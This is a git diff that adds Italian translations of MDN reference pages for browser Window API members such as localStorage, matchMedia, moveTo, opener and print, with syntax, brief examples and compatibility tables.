+<p><span class="comment">base64 func <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=287112" rel="freelink">https://bugzilla.mozilla.org/show_bug.cgi?id=287112</a> (see last comments) <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=123003" rel="freelink">https://bugzilla.mozilla.org/show_bug.cgi?id=123003</a> <a class="external" href="http://lxr.mozilla.org/seamonkey/source/dom/src/base/nsGlobalWindow.cpp#4946" rel="freelink">http://lxr.mozilla.org/seamonkey/sou...indow.cpp#4946</a></span></p>
+
+<dl>
+ <dt><a href="it/DOM/window.atob">window.atob</a></dt>
+ <dd>Decodes a string of data which has been encoded using base-64 encoding.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.back">window.back</a></dt>
+ <dd>Moves back one in the window history.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.blur">window.blur</a></dt>
+ <dd>Sets focus away from the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.btoa">window.btoa</a></dt>
+ <dd>Creates a base-64 encoded ASCII string from a string of binary data.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.captureEvents">window.captureEvents</a> {{ Obsolete_inline() }}</dt>
+ <dd>Registers the window to capture all events of the specified type.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.clearInterval">window.clearInterval</a></dt>
+ <dd>Cancels the repeated execution set using <code>setInterval</code>.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.clearTimeout">window.clearTimeout</a></dt>
+ <dd>Clears a delay that's been set for a specific function.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.close">window.close</a></dt>
+ <dd>Closes the current window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.confirm">window.confirm</a></dt>
+ <dd>Displays a dialog with a message that the user needs to respond to.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.dump">window.dump</a></dt>
+ <dd>Writes a message to the console.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.escape">window.escape</a></dt>
+ <dd>Encodes a string.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.focus">window.focus</a></dt>
+ <dd>Sets focus on the current window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.forward">window.forward</a></dt>
+ <dd>Moves the window one document forward in the history.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.getAttention">window.getAttention</a></dt>
+ <dd>Flashes the application icon.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.getComputedStyle">window.getComputedStyle</a></dt>
+ <dd>Gets computed style for the specified element. Computed style indicates the computed values of all CSS properties of the element.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.getSelection">window.getSelection</a></dt>
+ <dd>Returns the selection object representing the selected item(s).</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.home">window.home</a></dt>
+ <dd>Returns the browser to the home page.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.moveBy">window.moveBy</a></dt>
+ <dd>Moves the current window by a specified amount.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.moveTo">window.moveTo</a></dt>
+ <dd>Moves the window to the specified coordinates.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.open">window.open</a></dt>
+ <dd>Opens a new window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.openDialog">window.openDialog</a></dt>
+ <dd>Opens a new dialog window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.print">window.print</a></dt>
+ <dd>Prints the current document.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.prompt">window.prompt</a></dt>
+ <dd>Returns the text entered by the user in a prompt dialog.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.releaseEvents">window.releaseEvents</a> {{ Obsolete_inline() }}</dt>
+ <dd>Releases the window from trapping events of a specific type.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.resizeBy">window.resizeBy</a></dt>
+ <dd>Resizes the current window by a certain amount.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.resizeTo">window.resizeTo</a></dt>
+ <dd>Dynamically resizes window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.scroll">window.scroll</a></dt>
+ <dd>Scrolls the window to a particular place in the document.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.scrollBy">window.scrollBy</a></dt>
+ <dd>Scrolls the document in the window by the given amount.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.scrollByLines">window.scrollByLines</a></dt>
+ <dd>Scrolls the document by the given number of lines.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.scrollByPages">window.scrollByPages</a></dt>
+ <dd>Scrolls the current document by the specified number of pages.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.scrollTo">window.scrollTo</a></dt>
+ <dd>Scrolls to a particular set of coordinates in the document.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.setInterval">window.setInterval</a></dt>
+ <dd>Execute a function each X milliseconds.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.setTimeout">window.setTimeout</a></dt>
+ <dd>Sets a delay for executing a function.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.sizeToContent">window.sizeToContent</a></dt>
+ <dd>Sizes the window according to its content.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.stop">window.stop</a></dt>
+ <dd>This method stops window loading.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.unescape">window.unescape</a></dt>
+ <dd>Unencodes a value that has been encoded in hexadecimal (e.g. a cookie).</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.updateCommands">window.updateCommands</a></dt>
+</dl>
+
+<h3 id="Gestori_di_Eventi" name="Gestori_di_Eventi">Gestori di Eventi</h3>
+
+<dl>
+ <dt><a href="it/DOM/window.onabort">window.onabort</a></dt>
+ <dd>An event handler property for abort events on the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.onblur">window.onblur</a></dt>
+ <dd>An event handler property for blur events on the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.onchange">window.onchange</a></dt>
+ <dd>An event handler property for change events on the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.onclick">window.onclick</a></dt>
+ <dd>An event handler property for click events on the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.onclose">window.onclose</a></dt>
+ <dd>An event handler property for handling the window close event.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.ondragdrop">window.ondragdrop</a></dt>
+ <dd>An event handler property for drag and drop events on the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.onerror">window.onerror</a></dt>
+ <dd>An event handler property for errors raised on the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.onfocus">window.onfocus</a></dt>
+ <dd>An event handler property for focus events on the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.onkeydown">window.onkeydown</a></dt>
+ <dd>An event handler property for keydown events on the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.onkeypress">window.onkeypress</a></dt>
+ <dd>An event handler property for keypress events on the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.onkeyup">window.onkeyup</a></dt>
+ <dd>An event handler property for keyup events on the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.onload">window.onload</a></dt>
+ <dd>An event handler property for window loading.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.onmousedown">window.onmousedown</a></dt>
+ <dd>An event handler property for mousedown events on the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.onmousemove">window.onmousemove</a></dt>
+ <dd>An event handler property for mousemove events on the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.onmouseout">window.onmouseout</a></dt>
+ <dd>An event handler property for mouseout events on the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.onmouseover">window.onmouseover</a></dt>
+ <dd>An event handler property for mouseover events on the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.onmouseup">window.onmouseup</a></dt>
+ <dd>An event handler property for mouseup events on the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.onpaint">window.onpaint</a></dt>
+ <dd>An event handler property for paint events on the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.onreset">window.onreset</a></dt>
+ <dd>An event handler property for reset events on the window.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.onresize">window.onresize</a></dt>
+ <dd>An event handler property for window resizing.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.onscroll">window.onscroll</a></dt>
+ <dd>An event handler property for window scrolling.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.onselect">window.onselect</a></dt>
+ <dd>An event handler property for window selection.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.onsubmit">window.onsubmit</a></dt>
+ <dd>An event handler property for submits on window forms.</dd>
+</dl>
+
+<dl>
+ <dt><a href="it/DOM/window.onunload">window.onunload</a></dt>
+ <dd>An event handler property for unload events on the window.</dd>
+</dl>
+
+<p>{{ languages( { "fr": "fr/DOM/window", "pl": "pl/DOM/window", "en": "en/DOM/window" } ) }}</p>
diff --git a/files/it/web/api/window/localstorage/index.html b/files/it/web/api/window/localstorage/index.html
new file mode 100644
index 0000000000..f17f5cece8
--- /dev/null
+++ b/files/it/web/api/window/localstorage/index.html
@@ -0,0 +1,138 @@
+---
+title: Window.localStorage
+slug: Web/API/Window/localStorage
+translation_of: Web/API/Window/localStorage
+---
+<p>{{APIRef()}}</p>
+
+<p><span class="seoSummary">La proprietà read-only <code>localStorage</code> ti permette di accedere all'oggetto {{domxref("Storage")}} per l'origine del {{domxref("Document")}}; i dati persistono anche tra diverse sessioni browser.</span> <code>localStorage</code> è simile a <code><a href="/en-US/docs/Web/API/Window.sessionStorage">sessionStorage</a></code>, ma si differenzia dal fatto che i dati salvati con <code>localStorage</code>non hanno  expiration time, i dati salvati in <code>sessionStorage</code> vengono cancellati al termine della sessione della pagina — cioé, quando la pagina viene chiusa.</p>
+
+<p>Si dovrebbe notare che i dati salvati in entrambi <code>localStorage</code> o <code>sessionStorage</code> <strong>sono specifici rispetto al protocollo della pagina.</strong></p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><em>myStorage</em> = window.localStorage;</pre>
+
+<h3 id="Valore">Valore</h3>
+
+<p>L'oggetto {{domxref("Storage")}} che puo essere usato per accedere alla memoria del localStorage.</p>
+
+<h3 id="Eccezioni">Eccezioni</h3>
+
+<dl>
+ <dt><code>SecurityError</code></dt>
+ <dd>La richiesta viola la policy decision, o l'origine non è un <a href="/en-US/docs/Web/Security/Same-origin_policy#Definition_of_an_origin">valido scheme/host/port tuple</a> (può succedere, per esempio, se l'origine usa lo schema<code>file:</code> o <code>data:</code> ). Per esempio, l'utente può aver il browser configurato a negare i permessi di dati persistenti.</dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>Il seguente snippet accede all'oggetto local {{domxref("Storage")}} del dominio e aggiunge i dati usando {{domxref("Storage.setItem()")}}.</p>
+
+<pre class="brush: js">localStorage.setItem('myCat', 'Tom');</pre>
+
+<p>La sintassi per leggere localStorage è la seguente:</p>
+
+<pre class="brush: js">var cat = localStorage.getItem("myCat");</pre>
+
+<p>La sintassi per rimuovere dati da localStorage è la seguente:</p>
+
+<pre class="brush: js">localStorage.removeItem("myCat");</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Riferimenti di esempi completi all'articolo: <a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Usare lo Web Storage API</a>.</p>
+</div>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webstorage.html#dom-localstorage', 'localStorage')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>localStorage</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.5</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td>sessionStorage</td>
+   <td>5</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>2</td>
+   <td>8</td>
+   <td>10.50</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown }}</td>
+   <td>8</td>
+   <td>11</td>
+   <td>iOS 3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Tutti i browsers hanno livelli di capacità vari per entrambi<code>localStorage</code> e {{domxref("sessionStorage")}}. Qui una <a class="external" href="http://dev-test.nemikor.com/web-storage/support-test/" title="http://dev-test.nemikor.com/web-storage/support-test/">dettagliata lista di tutte le capacità di vari browser</a>.</p>
+
+<div class="note">
+<p><strong>Note:</strong> A partire da iOS 5.1, Safari Mobile salva i dati di <code>localStorage</code> nella cartella cache, che è soggetta a rimozioni occasionali. Safari Mobile in Private mode previene la scrittura al <code>localStorage</code>.</p>
+</div>
+
+<h2 id="Consulta_anche">Consulta anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a></li>
+ <li>{{domxref("LocalStorage")}}</li>
+ <li>{{domxref("SessionStorage")}}</li>
+ <li>{{domxref("Window.sessionStorage")}}</li>
+</ul>
diff --git a/files/it/web/api/window/locationbar/index.html b/files/it/web/api/window/locationbar/index.html
new file mode 100644
index 0000000000..583c6def10
--- /dev/null
+++ b/files/it/web/api/window/locationbar/index.html
@@ -0,0 +1,43 @@
+---
+title: Window.locationbar
+slug: Web/API/Window/locationbar
+translation_of: Web/API/Window/locationbar
+---
+<div>{{APIRef}}</div>
+
+<p>Restituisce l'oggetto <code>locationbar</code>, che può essere reso invisibile.</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="eval"><i>oggetto</i> = window.locationbar
+</pre>
+
+<h2 id="Esempio" name="Esempio">Esempio</h2>
+
+<p>Il seguente esempio completo mostra un possibile modo per utilizzare la proprietà visible dei vari oggetti "bar" (quelli che rappresentano una qualsiasi barra); mostra anche come cambiare i privilegi necessari per modificare tale proprietà.</p>
+
+<p>The following complete HTML example shows way that the visible property of the various "bar" objects is used, and also the change to the privileges necessary to write to the visible property of any of the bars on an existing window.</p>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;Esperimenti sul DOM&lt;/title&gt;
+  &lt;script&gt;
+    // modifico lo stato della barra in questa finestra
+    netscape.security.PrivilegeManager.
+        enablePrivilege("UniversalBrowserWrite");
+    window.statusbar.visible=!window.statusbar.visible;
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;p&gt;Esperimenti sul DOM&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Note" name="Note">Note</h2>
+
+<p>Quando si carica l'esempio sopra riportato, il browser mostra una finestra di avviso. Si veda anche: <a href="it/DOM/window.menubar">window.menubar</a>, <a href="it/DOM/window.personalbar">window.personalbar</a>, <a href="it/DOM/window.scrollbars">window.scrollbars</a>, <a href="it/DOM/window.statusbar">window.statusbar</a>, <a href="it/DOM/window.toolbar">window.toolbar</a></p>
+
+<h2 id="Specifiche" name="Specifiche">Specifiche</h2>
+
+<p>HTML5</p>
diff --git a/files/it/web/api/window/matchmedia/index.html b/files/it/web/api/window/matchmedia/index.html
new file mode 100644
index 0000000000..a4dc984d9a
--- /dev/null
+++ b/files/it/web/api/window/matchmedia/index.html
@@ -0,0 +1,91 @@
+---
+title: Window.matchMedia()
+slug: Web/API/Window/matchMedia
+translation_of: Web/API/Window/matchMedia
+---
+<h2 id="Summary" name="Summary">Sommario</h2>
+
+<p>Restituisce un nuovo oggetto {{domxref("MediaQueryList")}} che rappresenta i risultati dell'anaisi effettuta in base alla  stringa <a href="/en-US/docs/CSS/Media_queries" title="CSS/Media queries">media query</a> specificata.</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox"><em>mql</em> = window.matchMedia(<em>mediaQueryString</em>)</pre>
+
+<p><code>dove QueryString</code> è una stringa che rappresenta la ricerca media query per la quale restituire il nuovo oggetto {{domxref("MediaQueryList")}} .</p>
+
+<h2 id="Example" name="Example">Esempio</h2>
+
+<pre class="brush: js">if (window.matchMedia("(min-width: 400px)").matches) {
+  /* the viewport is at least 400 pixels wide */
+} else {
+  /* the viewport is less than 400 pixels wide */
+}</pre>
+
+<p>Questo codice permette di gestire la pagina in modo diverso quando la finestra è molto piccola.</p>
+
+<p>Vedere <a href="/en-US/docs/DOM/Using_media_queries_from_code" title="CSS/Using media queries from code">Using media queries from code</a> per altri esempi.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilità browser</h2>
+
+<p>{{CompatibilityTable()}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>9</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>10</td>
+   <td>12.1</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>3.0</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>12.1</td>
+   <td>5</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Specifica</h2>
+
+<ul>
+ <li><a class="external" href="http://dev.w3.org/csswg/cssom-view/#the-mediaquerylist-interface">The CSSOM View Module: The MediaQueryList Interface</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Vedere anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Media_queries" title="CSS/Media queries">Media queries</a></li>
+ <li><a href="/en-US/docs/DOM/Using_media_queries_from_code" title="CSS/Using media queries from code">Using media queries from code</a></li>
+ <li>{{domxref("MediaQueryList")}}</li>
+ <li>{{domxref("MediaQueryListListener")}}</li>
+</ul>
diff --git a/files/it/web/api/window/moveby/index.html b/files/it/web/api/window/moveby/index.html
new file mode 100644
index 0000000000..41f373f9eb
--- /dev/null
+++ b/files/it/web/api/window/moveby/index.html
@@ -0,0 +1,36 @@
+---
+title: Window.moveBy()
+slug: Web/API/Window/moveBy
+translation_of: Web/API/Window/moveBy
+---
+<div>{{APIRef}}</div>
+
+<p>Sposta la finestra di un certo numero di pixel.</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="eval">window.moveBy(<i>x</i>,
+<i>y</i>)
+</pre>
+
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+
+<ul>
+ <li><code>x</code> indica di quanti pixel la finestra deve essere spostata orizzontalmente</li>
+ <li><code>y</code> indica di quanti pixel la finestra deve essere spostata verticalmente</li>
+</ul>
+
+<h2 id="Esempio" name="Esempio">Esempio</h2>
+
+<pre> function in_alto_a_destra() {
+    moveBy(10, -10);
+ }
+</pre>
+
+<h2 id="Note" name="Note">Note</h2>
+
+<p>E' possibile utilizzare numeri negativi come parametri. Questa funzione esegue uno spostamento della finestra relativamente alla sua posizione attuale, mentre <a href="it/DOM/window.moveTo">window.moveTo</a> la sposta in un punto assoluto.</p>
+
+<h2 id="Specifiche" name="Specifiche">Specifiche</h2>
+
+<p>DOM Level 0. Non è parte di alcuno standard.</p>
diff --git a/files/it/web/api/window/moveto/index.html b/files/it/web/api/window/moveto/index.html
new file mode 100644
index 0000000000..5e9b2c271c
--- /dev/null
+++ b/files/it/web/api/window/moveto/index.html
@@ -0,0 +1,37 @@
+---
+title: Window.moveTo()
+slug: Web/API/Window/moveTo
+translation_of: Web/API/Window/moveTo
+---
+<div>{{APIRef}}</div>
+
+<p>Sposta la finestra alle coordinate specificate.</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="eval">window.moveTo(<i>x</i>,
+<i>y</i>)
+</pre>
+
+<h3 id="Parametri" name="Parametri">Parametri</h3>
+
+<ul>
+ <li><code>x</code> è l'asse orizzontale delle coordinate in cui vogliamo spostare la finestra</li>
+ <li><code>y</code> è l'asse verticale delle coordinate in cui vogliamo spostare la finestra</li>
+</ul>
+
+<h2 id="Esempio" name="Esempio">Esempio</h2>
+
+<pre> function origine() {
+    // sposta la finestra all'angolo in alto a sinistra
+    window.moveTo(0, 0)
+ }
+</pre>
+
+<h2 id="Note" name="Note">Note</h2>
+
+<p>Le coordinate iniziali sono 0, 0 e rappresentano l'angolo in alto a sinistra dello schermo. Questa funzione sposta la finestra in un punto assoluto, mentre <a href="it/DOM/window.moveBy">window.moveBy</a> la sposta relativamente alla sua posizione attuale.</p>
+
+<h2 id="Specifiche" name="Specifiche">Specifiche</h2>
+
+<p>DOM Level 0. Non è parte di alcuno standard.</p>
diff --git a/files/it/web/api/window/name/index.html b/files/it/web/api/window/name/index.html
new file mode 100644
index 0000000000..8127d67285
--- /dev/null
+++ b/files/it/web/api/window/name/index.html
@@ -0,0 +1,23 @@
+---
+title: Window.name
+slug: Web/API/Window/name
+translation_of: Web/API/Window/name
+---
+<p>{{APIRef}}<br>
+ Restituisce o imposta il nome della finestra.</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="eval"><i>stringa</i> = window.name
+ window.name =
+<i>stringa</i>
+</pre>
+
+<h2 id="Esempio" name="Esempio">Esempio</h2>
+
+<pre class="eval">window.name = "vista1";
+</pre>
+
+<h2 id="Note" name="Note">Note</h2>
+
+<p>Il nome della finestra viene utilizzato soprattutto per impostare i target dei link e dei form. In realtà una finestra non deve necessariamente avere un nome.</p>
diff --git a/files/it/web/api/window/onuserproximity/index.html b/files/it/web/api/window/onuserproximity/index.html
new file mode 100644
index 0000000000..41f760ee44
--- /dev/null
+++ b/files/it/web/api/window/onuserproximity/index.html
@@ -0,0 +1,45 @@
+---
+title: Window.onuserproximity
+slug: Web/API/Window/onuserproximity
+translation_of: Web/API/Window/onuserproximity
+---
+<p>{{ ApiRef() }}</p>
+
+<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">La proprietà </span></font><strong>Window.onuserproxymity</strong></code> rappresenta un {{domxref("EventHandler")}}, una funzione che viene richiamata quando l'evento {{event("userproximity")}} si verifica. Questi eventi sono del tipo {{domxref("UserProximityEvent")}} e si verificano quando il sensore di prossimità del dispositivo individua che un oggetto si sta avvicinando.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><em>window</em>.onuserproximity = <em>eventHandler</em></pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Proximity Events', '#user-proximity', 'Proximity Events') }}</td>
+   <td>{{ Spec2('Proximity Events') }}</td>
+   <td>Specifica iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<div class="hidden">La tabella di compatibilità in questa pagina è da dati strutturati. Se vuoi contribuire ai dati, per favore controlla <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e mandaci una pull request.</div>
+
+<p>{{Compat("api.Window.onuserproximity")}}</p>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li>{{event("userproximity")}}</li>
+ <li>{{domxref("UserProximityEvent")}}</li>
+ <li><a href="/en-US/docs/WebAPI/Proximity" title="/en-US/docs/WebAPI/Proximity">Proximity Events</a></li>
+</ul>
diff --git a/files/it/web/api/window/opener/index.html b/files/it/web/api/window/opener/index.html
new file mode 100644
index 0000000000..368b0a2f74
--- /dev/null
+++ b/files/it/web/api/window/opener/index.html
@@ -0,0 +1,24 @@
+---
+title: Window.opener
+slug: Web/API/Window/opener
+translation_of: Web/API/Window/opener
+---
+<div>{{APIRef}}</div>
+
+<p>Restituisce un riferimento alla finestra che ha aperto la finestra corrente.</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="eval"><i>oggetto</i> = window.opener
+</pre>
+
+<h2 id="Esempio" name="Esempio">Esempio</h2>
+
+<pre> if window.opener != finestraPrincipale {
+     vaiInizio(window.opener);
+ }
+</pre>
+
+<h2 id="Note" name="Note">Note</h2>
+
+<p>Quando una finestra viene aperta come popup da un'altra finestra, mantiene un riferimento a quest'ultima a cui si può accedere con <code>window.opener</code>. Se la finestra corrente non ha un "opener", questo metodo restituisce <code>null</code>.</p>
diff --git a/files/it/web/api/window/orientationchange_event/index.html b/files/it/web/api/window/orientationchange_event/index.html
new file mode 100644
index 0000000000..ba6e0dc550
--- /dev/null
+++ b/files/it/web/api/window/orientationchange_event/index.html
@@ -0,0 +1,66 @@
+---
+title: orientationchange
+slug: Web/API/Window/orientationchange_event
+translation_of: Web/API/Window/orientationchange_event
+---
+<p>L'evento <code>orientationchange</code> si scatena quando viene modificato l'orientamento del dispositivo.</p>
+
+<h2 id="Informazioni_generali">Informazioni generali</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="https://compat.spec.whatwg.org/#event-orientationchange">Compatibility Living Standard</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Screen</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush:js;">// Note that "orientationchange" and screen.orientation are unprefixed in the following
+// code although this API is still vendor-prefixed browsers implementing it.
+window.addEventListener("orientationchange", function() {
+    alert("the orientation of the device is now " + screen.orientation.angle);
+});
+</pre>
diff --git a/files/it/web/api/window/print/index.html b/files/it/web/api/window/print/index.html
new file mode 100644
index 0000000000..87f63a0b44
--- /dev/null
+++ b/files/it/web/api/window/print/index.html
@@ -0,0 +1,17 @@
+---
+title: Window.print()
+slug: Web/API/Window/print
+translation_of: Web/API/Window/print
+---
+<div>{{APIRef}}</div>
+
+<p>Apre una finestra di stampa per stampare il documento corrente.</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="eval">window.print()
+</pre>
